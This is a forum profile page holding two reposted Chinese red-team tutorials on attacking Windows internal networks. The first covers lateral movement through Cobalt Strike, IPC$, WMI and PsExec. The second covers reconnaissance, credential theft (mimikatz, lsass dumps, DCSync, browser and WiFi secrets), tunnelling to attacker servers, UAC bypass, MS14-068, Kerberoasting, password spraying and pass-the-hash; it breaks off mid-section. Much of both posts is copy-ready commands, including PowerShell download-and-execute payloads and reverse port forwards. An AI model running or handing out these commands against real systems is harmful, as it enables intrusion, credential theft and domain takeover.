跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 0x00 前言 针对于内网渗透个人理解为信息收集(内部网段的扫描、端口服务、操作系统、补丁更新、域机器及重要业务机器定位、杀毒软件、防火墙策略、密码的规则、内部敏感文档等)然后根据获取到的信息来绘画出内部的网络结构和内网脆弱点从而进行横向渗透。 本篇文章记载了当拿到内网机器的密码或Hash进行横向移动的方式。 0x01 环境介绍 1.1 扩展图 1.2 网络环境 Windows 7 跳版机(192.168.200.222、10.211.66.5)双网卡可出网也可与内网连通。 Windows server 2012 目标靶机(192.168.200.66)不可出网。 1.3 简述 攻击者通过渗透测试拿到主机Win 7(192.168.200.222)的权限并发现可出网,所以上线CS用来权限维持。 前提我们已经抓取到Win 7(192.168.200.222)跳板机的登陆明文凭证,这里是我添加的明文凭证,窃取凭证的方法有很多这里不在赘述参考文章,此篇文章只记录个人在学习内网环境下横向移动的一些笔记。 添加一个 Win 7(192.168.200.222)跳板机的监听器用来做中转会话。 生成木马文件在本地。 Tips:因为Win 2012(192.168.200.66)目标机不出外网所以选择刚添加的中转会话。 0x02 IPC$ && 计划任务 2.1 利用条件 1)没有禁用IPC$连接、139和445端口、未使用防火墙等方式来阻止IPC$。 2)目标机器开启了相关的IPC$服务。 3)需要目标机器的管理员账号和密码(IPC$空连接除外)。 4)需要得知目标机器IP地址并可互相通信。 2.2 利用方式 在 CS 客户端对Win 7(192.168.200.222)会话进行操作。 对 Win 2012(192.168.200.66)目标主机建立共享连接,并查看目标主机共享资源。 beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@1." beacon> shell net view \\192.168.200.66 列出目标主机 C 盘下目录文件。 beacon> shell dir \\192.168.200.66\C$ 将CS木马上传到跳板机。 beacon> upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.exe) 将Win 7(192.168.200.222)跳板机的木马文件copy到Win 2012(192.168.200.66)目标机的C共享盘下。 beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$ 远程创建Win 2012(192.168.200.66)目标机计划任务执行木马文件。 beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe" 由于 at 在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。 如果目标机器支持 at 命令,参考如下。 net time \\192.168.200.66at \\192.168.200.66 11:05 c:\demo.exe 成功上线,该会话为被动连接,不操作的不会回连,如果中转机会话断掉,该会话也会断掉。 2.3 IPC 相关的命令 开放/关闭 ipc$ 共享。 net share ipc$net share ipc$ /del 共享计算机 C 盘。 net share C=c:\ 查看/删除共享的资源。 net sharenet share C /del 取消IPC远程连接。 net use * /del /y 0x03 WMI 3.1 利用条件 1)启动WMI服务(默认开启)。 2)开放135端口。 3.2 利用方式 在 CS 客户端对Win 7(192.168.200.222)会话进行操作。 使用CS生成一个WEB交互式Payload(Scripted Web Delivery)来实现无文件落地上线。 生成的 Payload。 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))" 在CS 客户端执行 wmic 远程命令。 Tips:因为目标主机不出网所以需要把 http://39.100.x.x:7799/a 上的payload,复制下来并在跳板机开启WEB服务,使受害机下载并执行跳板机上的Payload,上线CS。 跳板机安装了 python 运行如下命令快速开启WEB服务。 beacon> shell python -m SimpleHTTPServer 8080 beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))" 成功上线。 在 windows server 2012 验证。 Tips:wmic命令缺点无回显,但是可借助其他脚本(wmiexec.vbs)来实现回显功能。 0X04 PsExec PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。 beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt')) Tips:psexec 传递命令时不要添加双引号否则会报 “系统找不到指定的文件” 的错误。 Psexec下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec 更多参考: https://www.itprotoday.com/compute-engines/psexec 4.1 CS Psexec_psh hash传递 凭证窃取中并不是每次都可以获取到明文,会出现只有hash的情况,获取hash同样可以进行横向操作。 因为换了WiFi地址所有IP发生了如下变化。 Windows 7 跳版机(172.16.100.176、10.211.66.5)双网卡可出网也可与内网连通。 Windows server 2012 目标靶机(172.16.100.60)不可出网。 成功上线。 0X05 WINRM WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012及以后默认开启。 这里的目标靶机正好是 windows server 2012,运行如下命令查看是否启用了 winrm service 。 winrm enumerate winrm/config/listener 5.1 利用方式 CS自带了一些用于横向移动的功能,可以在目标中选中主机进行攻击。 成功上线。 来源: https://mp.weixin.qq.com/s/iwZtY-tToNRQYRi_qRQwjg
  2. 0x01 信息收集 在攻陷一台机器后,不要一味的直接去抓取机器密码、去做一些扫描内网的操作,因为如果网内有IDS等安全设备,有可能会造成报警,丢失权限。本节主要介绍当一台内网机器被攻破后,我们收集信息的一些手法。 1.1、SPN SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。 a、利用Windows自带的setspn工具,普通域用户权限执行即可: setspn -T domain.com -Q */* 在上述截图中可以清晰的看到DCServer机器上运行了dns服务。如果网内存在mssql,利用SPN扫描也可以得到相应的结果。 b、利用GetUserSPNs.vbs也可以获取spn结果: c、Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。 如下图利用Rubeus查看哪些域用户注册了SPN,也为后续Kerberoasting做准备: 1.2、端口连接 利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。 1.3、配置文件 一个正常的Web应用肯定有对应的数据库账号密码信息,是一个不错的宝藏。 可以使用如下命令寻找包含密码字段的文件: cd /web findstr /s /m "password" *.* 下面是常用应用的默认配置路径: a、 Tomcat: CATALINA_HOME/conf/tomcat-users.xml b、 Apache: /etc/httpd/conf/httpd.conf c、 Nginx: /etc/nginx/nginx.conf d、 Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf e、 Mysql: mysql\data\mysql\user.MYD 1.4、用户信息 可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。 a、查看域用户,普通域用户权限即可: net user /domain b、查看域管理员: net group "domain admins" /domain c、快速定位域控ip,一般是dns、时间服务器: net time /domain nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com d、查看域控制器: net group "domaincontrollers" /domain 1.5、内网主机发现 可以使用如下命令来达到内网主机的发现。 a、查看共享资料: net view b、查看arp表: arp -a c、查看hosts文件: linux: cat /etc/hosts windows: type c:\Windows\system32\drivers\etc\hosts d、查看dns缓存: ipconfig /displaydns e、当然,利用一些工具也可以,比如nmap、nbtscan: 1.6、会话收集 在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多。 可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。 api相关介绍如下: https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum 利用powershell脚本PowerView为例。 a、可以查看域用户登录过哪些机器: b、也可以查看机器被哪些用户登陆过: 其他工具、api类似。当有了上述信息后,就可以对发现到的域管或者登录着域管的机器进行攻击,只要能拿下这些机器,就可以有相应的权限去登录域控。 1.7、凭据收集 拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码。 比如远程连接凭据: cmdkey/list navicat: MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name> SecureCRT: xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions Xshell 5Xshell: %userprofile%\Documents\NetSarang\Xshell\Sessions Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions HKCU\Software\Martin Prikryl\WinSCP 2\SessionsWinSCP: RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2 1.8、DPAPIVNC: DPAPI,由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。 其作用范围包括且不限于: outlook客户端密码 windowscredential凭据 chrome保存的密码凭据 internetexplorer密码凭据 DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect\{SID}\{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。 相关的介绍如下: https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection 在渗透中,可以利用mimikatz做到自动化的数据解密: a、解密Chrome密码: mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect mimikatz vault::cred /patchb、解密Credential: 信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。1.9、域信任 查看域信任: nltest /domain_trusts 上述结果显示child.jumbolab.com和jumbolab.com两个域是双向信任的。 1.10、域传送 当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。 windows: nslookup -type=ns domain.com nslookup sserver dns.domain.com ls domain.com dig @dns.domain.com axfr domain.com 1.11、DNS记录获取linux: 在网内收集dns记录,可以快速定位一些机器、网站。常用工具有Dnscmd、PowerView。 a、在windows server上,可以使用Dnscmd工具获取dns记录。 获取dns记录: Dnscmd. /ZonePrint jumbolab.com Dnscmd. /EnumRecords jumbolab.com . b、在非windows server机器上,可以使用PowerView获取。 import-module PowerView.ps1 Get-DNSRecord -ZoneName jumbolab.com 1.12、WIFI 通过如下命令获取连接过的wifi密码: for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 1.13、GPP 当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。 其中xml中的密码是aes加密的,密钥已被微软公开: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN 可以使用相关脚本进行解密,如: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1 域用户登录脚本存在目录也会存在敏感文件: \\domain\Netlogon 1.14、Seatbelt 可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等: 当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产产的摸索效率。 1.15、Bloodhound 我们可以利用Bloodhound做一些自动化的信息收集,包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警,该漏洞做自动化信息收集时,会在内网设备上产生大量的告警,按需使用。 执行: SharpHound.exe -c all 运行完毕会生成一个zip压缩包,名字类似于20200526201154_BloodHound。 导入Bloodhound后可以做可视化分析: 比较常用的就是寻找攻击域控的最快途径了: 如下图,我们知道,如果拿下hand用户后,就可以获取到域控权限: 1.16、Exchange exchange一般都在域内的核心位置上,包括甚至安装在域控服务器上,因此我们需要多多关注exchange的相关漏洞,如果拿下exchange机器,则域控也不远了。 1.16.1 邮箱用户密码爆破 使用ruler工具对owa接口进行爆破: ./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt ruler工具会自动搜索owa可以爆破的接口,如: https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml 其他如ews接口也存在被暴力破解利用的风险: https://mail.targetdomain.com/ews 1.16.2 通讯录收集 在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定: Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt 1.16.3 信息收集 当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。 获取所有邮箱用户: Get-Mailbox 导出邮件: New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst") 也可以通过web口导出,登录: https://mail.domain.com/ecp/ 导出后会有记录,用如下命令可以查看: Get-MailboxExportRequest 删除某个导出记录: Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false 0x02 传输通道 在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。 2.1、是否出网 可以用以下命令判断: ping icmp curl http nslookup dns 2.2、netsh netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。 A机器执行如下命令: netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp B机器访问A机器的5555端口,即是192.168.1.1的3389端口 2.3、ssh ssh一般被拿来登录linux机器,也可以拿来做代理和转发。 a、开启socks代理: ssh -qTfnN -D [email protected] 输入1.1.1.1机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理1.1.1.1的网络。 b、控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C: A机器执行: ssh -CNfg -L 2121:CIP:21 root@BIP 输入BIP机器密码,访问A的2121端口即是访问CIP的21端口。 c、控制A机器,A能够访问B: A机器执行: ssh -CNfg -R 2121:BIP:21 root@hackervps 输入黑客vps密码,访问黑客vps的2121端口即是访问BIP的21端口。 2.4、reGeorg reGeorg是一款开源的socks代理软件,可以解决当机器不出网时,使用http代理进入内网。 根据网站支持的语言,把相应的tunnel.xx传到服务器上,访问tunnel.xx显示“Georg says, 'All seems fine'”,说明基本ok。 本地运行: pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx 利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。 2.5、EarthWorm EarthWorm是一款用于开启SOCKS v5代理服务的工具,基于标准C开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。 a、受害者机器有外网ip并可直接访问: 把ew传到对方服务器上,执行: ./ew -s ssocksd -l 8888 现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。 b、控制A机器,A能够访问B,通过A访问B: 在自己外网服务器上执行: ./ew -s rcsocks -l 1080 -e 8888 对方服务器执行: ./ew -s rssocks -d yourvpsip -e 8888 利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5,即可代理受害者服务器的网络。 c、控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C: B机器执行: ./ew -s ssocksd -l 9999 A机器: ./ew -s lcx_tran -l 1080 -f BIP -g 9999 利用proxychains等类似工具可通过连接A的1080 端口的socks5,即可代理B服务器的网络。 d、控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C: 自己vps执行: ./ew -s lcx_listen -l 1080 -e 8888 B机器执行: ./ew -s ssocksd -l 9999 A机器执行: ./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999 利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5,即可代理B服务器的网络。 2.6、lcx lcx是一款轻便的端口转发工具。 a、反向转发 外网VPS机器监听: lcx.exe -listen 1111 2222 受害者机器执行: lcx.exe -slave VPSip 1111 127.0.0.1 3389 连接外网VPS机器的2222端口即是连接受害者机器的3389。 b、正向转发 A机器执行: lcx.exe -tran 1111 2.2.2.2 8080 访问A机器的1111端口即是访问2.2.2.2的8080端口。 2.7、powercat powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下: powershell"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-l -p 8000 -e cmd" 然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。 2.8、mssql 当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道。 环境如下: 工具项目地址: https://github.com/blackarrowsec/mssqlproxy 0x03 权限提升 明明是administrator权限,为什么有些命令执行不了?拿到一个普通的域用户权限后,如何拿到域控权限?继续往下看。 3.1、UAC UAC,即用户账户控制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。在系统上直观看起来类似于这样: 那如何寻找bypass uac的方法呢。我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。 以高权限运行的进程图标一般有如下标志: 我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒), 我们利用ProcessMonitor对该进程的行为做一个监听: 先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute 因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd: 对了,当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。 3.2、ms14-068 该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。下面介绍下漏洞的成因,先来一个Kerberos协议流程图: 大致流程如下: 1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证; 2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成; 3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据 4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密; 5、域用户拿着ST访问对应的Application Server; 6、Application Server验证ST,决定成功与否。 下面简述ms14-068的问题所在: TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。 默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。 利用方法: python ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> mimikatz.exe "kerberos::ptc [email protected]" exit 也可以使用goldenPac.py来达到ms14-068+psexec的自动化利用: goldenPac.py domain.com/username:[email protected] 0x04 密码获取 密码抓取已经成为渗透中必不可少的一项技能。一个管理员很可能管理着N多台机器,但是密码使用的都是同一个或者是有规律的。如果抓到一台机器的密码,利用同密码碰撞,很可能这个渗透项目就结束了。本节主要介绍密码抓取的原理和一些手段。 4.1、ntlmhash和net-ntlmhash 先简单介绍下lmhash和ntlmhash。 我们经常看到的hash长这样: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 他的组成就是: user:sid:lmhash:ntlmhash lmhash的加密流程如下: 1、密码长度限制为14个字符 2、密码全部转换为大写 3、密码转换为16进制字符串,不足14字节用0补全 4、密码的16进制字符串被分成两个7byte部分 5、再分7bit为一组,每组末尾加0,再组成一组 6、上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。 7、将加密后的两组拼接在一起,得到最终LM HASH值。 为了解决lmhash强度不够的问题,微软推出了ntlmhash: 1、先将用户密码转换为十六进制格式。 2、将十六进制格式的密码进行Unicode编码。 3、使用MD4对Unicode编码数据进行Hash计算 因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee 在hash传递攻击时,可以替换成0: 00000000000000000000000000000000 再看下ntlm认证的过程: 他的简述流程如下: 1、客户端向服务端发起认证 2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1 3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器 4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。 上述中的response类似于下面这样: 上述中的response就可以理解为net-ntlmhash,因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。 4.2、本地用户凭据 在windows上,C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。 使用reg命令获取本地用户凭据hash: reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 最后利用bootkey解密获取hash。 其他一些工具同理,比如 pwdump7: mimikatz: privilege::debug token::elevate lsadump::sam 当然,从lsass.exe中获取也可以。如直接使用mimikatz获取: privilege::debug sekurlsa::logonpasswords Procdump+Mimikatz: procdump64.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 而为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改为0来禁用。 它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了: 再提一下kb2871997补丁问题,除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。 4.3、域hash 当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash: 当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据: mimikatz.exe privilege::debug "lsadump::dcsync /domain:jumbolab.com /all /csv" exit 有时为什么能抓到明文密码,有时并不能呢,除了上面说的kb2871997的问题以外,还有个“Reversible Encryption”。 4.4、token窃取 token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权,当用户登录时,系统通过将用户密码与安全数据库进行比对来验证用户密码正确性,如果密码正确,系统将生成访问token。该用户的进程都携带该token,可以利用DuplicateTokenEx api对现有token的复制,然后使用CreateProcessWithToken api对复制的token创建一个新的进程。效果如下: 有个system权限进程: 以administrator权限窃取该进程token,成功获取system权限: 当然,降权也可以使用上述方法。 4.5、Kerberoasting 在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。 在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS: powershell $SPNName = 'test/test' Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName 再利用mimikatz导出: kerberos::list /export 然后利用tgsrepcrack暴力破解: python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM.kirbi 最终成功获取该域用户密码: 4.6、密码喷射 弱口令,永远改不完。在内网中,也可以尝试对smb、3389、mssql弱口令进行密码暴力破解,但是要注意线程,密码数不要太多。当然,也可以使用不同账号,同个密码进行尝试。这里使用kerbrute对域用户/密码进行暴力破解: 爆破用户: kerbrute userenum -d jumbolab.com usernames.txt 密码喷射: kerbrute passwordspray -d jumbolab.com username.txt aA1234567 4.7、LAPS LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码: powershell Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd 如果安装LAPS,在安装的软件列表里能看到: 0x05 横向移动 当我们获取到某个机器账号密码、获取到hash了,后续我们应该怎么做,如何做,这就是本章介绍的内容。当然,当我们拿下更多的机器时,别忘记了,信息收集必不可少。 5.1、账号密码链接 当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令 a、IPC net use \\1.1.1.1\ipc$ “password” /user:username b、Psexec # 用服务启动的方式: psexec \\target -accepteula -u username -p password cmd.exe psexec.py jumbolab.com/[email protected] c、WMI # 方法一 wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call create "notepad" # 方法二 Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user' # 方法三 $filterName = 'BotFilter82' $consumerName = 'BotConsumer23' $exePath = 'C:\Windows\System32\notepad.exe' $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’ $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’ Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} d、Schtasks schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate e、AT at \\1.1.1.1 15:15 calc f、SC sc \\1.1.1.1 create windowsupdate binpath= "calc" sc \\1.1.1.1 start windowsupdate g、REG reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc" h、DCOM # 方法一 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") # 方法二 $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) # 方法三 $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1") $obj = [System.Activator]::CreateInstance($com) $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) i、WINRM winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami" winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami " 5.2、PTH 当我们没有明文账号密码,只有hash时,可以尝试hash传递。 5.2.1 impacket套件 项目地址:https://github.com/SecureAuthCorp/impacket python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/[email protected] "whoami" psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/[email protected] "whoami" smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/[email protected] "whoami" 5.2.2 Invoke-TheHash套件 项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash/ Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose 5.2.3 mimikatz 